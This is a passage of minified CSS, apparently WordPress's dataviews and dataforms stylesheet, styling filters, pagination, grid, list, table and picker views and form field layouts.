.dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:var(--checkbox-size);fill:#fff;height:var(--checkmark-size);left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:var(--checkmark-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection.is-selected svg{--checkmark-size:calc(var(--checkbox-size) + 4px)}}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;line-height:normal;padding:6px 8px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{display:block;font-size:16px;height:32px;margin-left:0;margin-right:0;padding:0 8px 0 32px;width:100%}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon{align-items:center;bottom:0;display:flex;inset-inline-start:12px;justify-content:center;position:absolute;top:0;width:24px}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__icon:dir(ltr){transform:scaleX(-1)}.dataviews-filters__container-visibility-toggle{flex-shrink:0;position:relative}.dataviews-filters-toggle__count{background:var(--wp-admin-theme-color,#3858e9);border-radius:8px;box-sizing:border-box;color:#fff;font-size:11px;height:16px;line-height:16px;min-width:16px;outline:var(--wp-admin-border-width-focus) solid #fff;padding:0 4px;position:absolute;right:0;text-align:center;top:0;transform:translate(50%,-50%)}.dataviews-search{width:fit-content}.dataviews-filters__user-input-widget{padding:16px}.dataviews-filters__user-input-widget .components-input-control__prefix{padding-left:8px}.dataviews-filters__search-widget-no-elements{align-items:center;display:flex;justify-content:center;padding:16px}.dataviews-footer{background-color:#fff;border-top:1px solid #f0f0f0;bottom:0;flex-shrink:0;left:0;padding:12px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-footer{transition:padding .1s ease-out}}.dataviews-footer{z-index:2}@container (max-width: 430px){.dataviews-footer{padding:12px 24px}}@container (max-width: 560px){.dataviews-footer{flex-direction:column!important}.dataviews-footer .dataviews-bulk-actions-footer__container{width:100%}.dataviews-footer .dataviews-bulk-actions-footer__item-count{flex-grow:1}.dataviews-footer .dataviews-pagination{justify-content:space-between;width:100%}}.dataviews-pagination__page-select{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.dataviews-pagination__page-select .components-select-control__input{font-size:11px!important;font-weight:500}}.dataviews-action-modal{z-index:1000001}.dataviews-picker-footer__bulk-selection{align-self:flex-start;height:32px}.dataviews-picker-footer__actions{align-self:flex-end}.dataviews-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-selection-checkbox{--checkbox-input-size:16px}}.dataviews-selection-checkbox{flex-shrink:0;line-height:0}.dataviews-selection-checkbox .components-checkbox-control__input-container{margin:0}.dataviews-view-config{container-type:inline-size;font-size:13px;line-height:1.4;width:320px}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper{height:100%;overflow-y:scroll}.dataviews-config__popover.is-expanded .dataviews-config__popover-content-wrapper .dataviews-view-config{width:auto}.dataviews-view-config__sort-direction .components-toggle-group-control-option-base{text-transform:uppercase}.dataviews-settings-section__title.dataviews-settings-section__title{font-size:15px;line-height:24px}.dataviews-settings-section__sidebar{grid-column:span 4}.dataviews-settings-section__content,.dataviews-settings-section__content>*{grid-column:span 8}.dataviews-settings-section__content .is-divided-in-two{display:contents}.dataviews-settings-section__content .is-divided-in-two>*{grid-column:span 4}.dataviews-settings-section:has(.dataviews-settings-section__content:empty){display:none}@container (max-width: 500px){.dataviews-settings-section.dataviews-settings-section{grid-template-columns:repeat(2,1fr)}.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__content,.dataviews-settings-section.dataviews-settings-section .dataviews-settings-section__sidebar{grid-column:span 2}}.dataviews-field-control__field{height:32px}.dataviews-field-control__actions{position:absolute;top:-9999em}.dataviews-field-control__actions.dataviews-field-control__actions{gap:4px}.dataviews-field-control__field.is-interacting .dataviews-field-control__actions,.dataviews-field-control__field:focus-within .dataviews-field-control__actions,.dataviews-field-control__field:hover .dataviews-field-control__actions{position:unset;top:unset}.dataviews-field-control__icon{display:flex;width:24px}.dataviews-field-control__label-sub-label-container{flex-grow:1}.dataviews-field-control__label{display:block}.dataviews-field-control__sub-label{color:#757575;font-size:11px;font-style:normal;margin-bottom:0;margin-top:8px}.dataviews-view-grid-items{container-type:inline-size;display:grid;gap:32px;grid-template-columns:repeat(auto-fill,minmax(230px,1fr));grid-template-rows:max-content;margin-bottom:auto;padding:0 48px 24px}@container (max-width: 430px){.dataviews-view-grid-items{padding-left:24px;padding-right:24px}}@media not (prefers-reduced-motion){.dataviews-view-grid-items{transition:padding .1s ease-out}}.dataviews-view-grid .dataviews-view-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:8px 0 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-field--clickable{width:fit-content}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after,.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;overflow:hidden;position:relative;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field{align-items:center;min-height:24px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field:not(:has(.dataviews-view-grid__field-value:not(:empty))){display:none}.dataviews-view-grid .dataviews-view-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-grid__field-value:empty,.dataviews-view-grid__field:empty{display:none}.dataviews-view-grid__card .dataviews-selection-checkbox{left:8px;opacity:0;position:absolute;top:-9999em;z-index:1}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-selection-checkbox{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-selection-checkbox{opacity:1;top:8px}}.dataviews-view-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-grid__card:hover .dataviews-selection-checkbox{opacity:1;top:8px}.dataviews-view-grid__card .dataviews-view-grid__media-actions{opacity:0;position:absolute;right:4px;top:4px}.dataviews-view-grid__card .dataviews-view-grid__media-actions .dataviews-all-actions-button{background-color:#fff}@media not (prefers-reduced-motion){.dataviews-view-grid__card .dataviews-view-grid__media-actions{transition:opacity .1s linear}}@media (hover:none){.dataviews-view-grid__card .dataviews-view-grid__media-actions{opacity:1;top:4px}}.dataviews-view-grid__card .dataviews-view-grid__media-actions:has(.dataviews-all-actions-button[aria-expanded=true]),.dataviews-view-grid__card:focus-within .dataviews-view-grid__media-actions,.dataviews-view-grid__card:hover .dataviews-view-grid__media-actions{opacity:1}.dataviews-view-grid__media--clickable{cursor:pointer}.dataviews-view-grid__group-header{color:#1e1e1e;container-type:inline-size;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}@container (max-width: 430px){.dataviews-view-grid__group-header{padding-left:24px;padding-right:24px}}div.dataviews-view-list{list-style-type:none}.dataviews-view-list{margin:0 0 auto}.dataviews-view-list div[role=article],.dataviews-view-list div[role=row]{border-top:1px solid #f0f0f0;margin:0}.dataviews-view-list div[role=article] .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row] .dataviews-view-list__item-wrapper{box-sizing:border-box;padding:16px 24px;position:relative}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions{display:flex;flex:0 0 auto;gap:4px;white-space:nowrap;width:max-content}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions .components-button,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions .components-button{position:relative;z-index:1}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>div,.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>div{height:24px}.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex:0;overflow:hidden;width:0}.dataviews-view-list div[role=article]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row]:where(.is-selected,.is-hovered,:focus-within) .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}@media (hover:none){.dataviews-view-list div[role=article] .dataviews-view-list__item-actions>:not(:last-child),.dataviews-view-list div[role=row] .dataviews-view-list__item-actions>:not(:last-child){flex-basis:min-content;overflow:unset;width:auto}}.dataviews-view-list div[role=article].is-selected.is-selected,.dataviews-view-list div[role=article].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=article].is-selected.is-selected+div[role=row],.dataviews-view-list div[role=row].is-selected.is-selected,.dataviews-view-list div[role=row].is-selected.is-selected+div[role=article],.dataviews-view-list div[role=row].is-selected.is-selected+div[role=row]{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-list div[role=article]:not(.is-selected) .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected) .dataviews-view-list__title-field{color:#1e1e1e}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered,.dataviews-view-list div[role=article]:not(.is-selected):focus-within,.dataviews-view-list div[role=article]:not(.is-selected):hover,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered,.dataviews-view-list div[role=row]:not(.is-selected):focus-within,.dataviews-view-list div[role=row]:not(.is-selected):hover{background-color:#f8f8f8;color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=article]:not(.is-selected):hover .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected).is-hovered .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=article].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#fff;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-list__group-header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 24px}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:left}.dataviews-view-table td,.dataviews-view-table th{padding:12px}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:right}.dataviews-view-table td.dataviews-view-table__actions-column--sticky,.dataviews-view-table th.dataviews-view-table__actions-column--sticky{background-color:#fff;position:sticky;right:0}.dataviews-view-table td.dataviews-view-table__actions-column--stuck:after,.dataviews-view-table th.dataviews-view-table__actions-column--stuck:after{background-color:#f0f0f0;bottom:0;content:"";display:block;left:0;position:absolute;top:0;width:1px}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-right:0}.dataviews-view-table td.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper,.dataviews-view-table th.dataviews-view-table__checkbox-column .dataviews-view-table__cell-content-wrapper{max-width:auto;min-width:auto}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-left:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered,.dataviews-view-table tr.is-hovered .dataviews-view-table__actions-column--sticky{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table tr.is-selected .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 4%,#fff)}.dataviews-view-table tr.is-selected:hover .dataviews-view-table__actions-column--sticky{background-color:color-mix(in srgb,rgb(var(--wp-admin-theme-color--rgb)) 8%,#fff)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead tr .components-checkbox-control__input.components-checkbox-control__input{opacity:1}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-left:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px;white-space:nowrap}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-end{justify-content:flex-end}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper.dataviews-view-table__cell-align-center{justify-content:center}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-left:4px}.dataviews-view-table .dataviews-view-table__actions-column{white-space:nowrap;width:auto}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-right:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{background-color:#fff;border-radius:4px;flex-shrink:0;max-width:60px;overflow:hidden;position:relative}.dataviews-column-primary__media img{height:100%;object-fit:cover;width:100%}.dataviews-column-primary__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-table__cell-content-wrapper:not(.dataviews-column-primary__media),.dataviews-view-table__primary-column-content:not(.dataviews-column-primary__media){max-width:80ch;min-width:15ch}.dataviews-view-table__group-header-row .dataviews-view-table__group-header-cell{color:#1e1e1e;font-weight:500;padding:12px 48px}.dataviews-view-table col[class^=dataviews-view-table__col-]:not(.dataviews-view-table__col-primary){width:1%}.dataviews-view-picker-grid .dataviews-view-picker-grid__card{height:100%;justify-content:flex-start;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-actions{padding:8px 0 4px}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field{align-content:center;min-height:24px;overflow:hidden;text-align:start}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__title-field--clickable{width:fit-content}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{color:#1e1e1e}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after,.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card.is-selected .dataviews-view-picker-grid__media:after{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-view-picker-grid__card .dataviews-view-picker-grid__media:focus:after{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-view-picker-grid:focus-visible[aria-activedescendant]{outline:none}.dataviews-view-picker-grid:focus-visible [data-active-item=true]{outline:2px solid var(--wp-admin-theme-color)}.dataviews-view-picker-grid .dataviews-selection-checkbox{top:8px!important}.dataviews-view-picker-grid .dataviews-selection-checkbox input{pointer-events:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__media{aspect-ratio:1/1;background-color:#fff;border-radius:4px;position:relative;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__media:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;pointer-events:none;position:absolute;top:0;width:100%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields:not(:empty){padding:0 0 12px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field-value:not(:empty){line-height:20px;min-height:24px;padding-top:2px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field{align-items:center;min-height:24px}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-name{color:#757575;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:35%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field .dataviews-view-picker-grid__field-value{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:65%}.dataviews-view-picker-grid .dataviews-view-picker-grid__fields .dataviews-view-picker-grid__field:not(:has(.dataviews-view-picker-grid__field-value:not(:empty))){display:none}.dataviews-view-picker-grid .dataviews-view-picker-grid__badge-fields:not(:empty){padding-bottom:12px}.dataviews-view-picker-grid__field-value:empty,.dataviews-view-picker-grid__field:empty{display:none}.dataviews-view-picker-grid__card .dataviews-selection-checkbox{left:8px;position:absolute;top:-9999em;z-index:1}@media (hover:none){.dataviews-view-picker-grid__card .dataviews-selection-checkbox{top:8px}}.dataviews-view-picker-grid__card.is-selected .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:focus-within .dataviews-selection-checkbox,.dataviews-view-picker-grid__card:hover .dataviews-selection-checkbox{top:8px}.dataviews-view-picker-grid__media--clickable{cursor:pointer}.dataviews-view-picker-grid-group__header{color:#1e1e1e;font-size:15px;font-weight:500;margin:0 0 8px;padding:0 48px}.dataviews-controls__datetime{border:none;padding:0}.dataviews-controls__relative-date-number,.dataviews-controls__relative-date-unit{flex:1 1 50%}.dataviews-controls__date input[type=date]::-webkit-calendar-picker-indicator,.dataviews-controls__date input[type=date]::-webkit-inner-spin-button{-webkit-appearance:none;display:none}.dataviews-controls__date-preset{border:1px solid #ddd}.dataviews-controls__date-preset:active{background-color:#000}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-panel__field-label--label-position-side{align-self:center}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:left;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control.components-button.is-link[aria-disabled=true]{text-decoration:none}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.dataforms-layouts-panel__modal-footer{margin-top:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;width:38%}.dataforms-layouts-regular__field-label--label-position-side{align-self:center}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-card__field-header-label{font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica 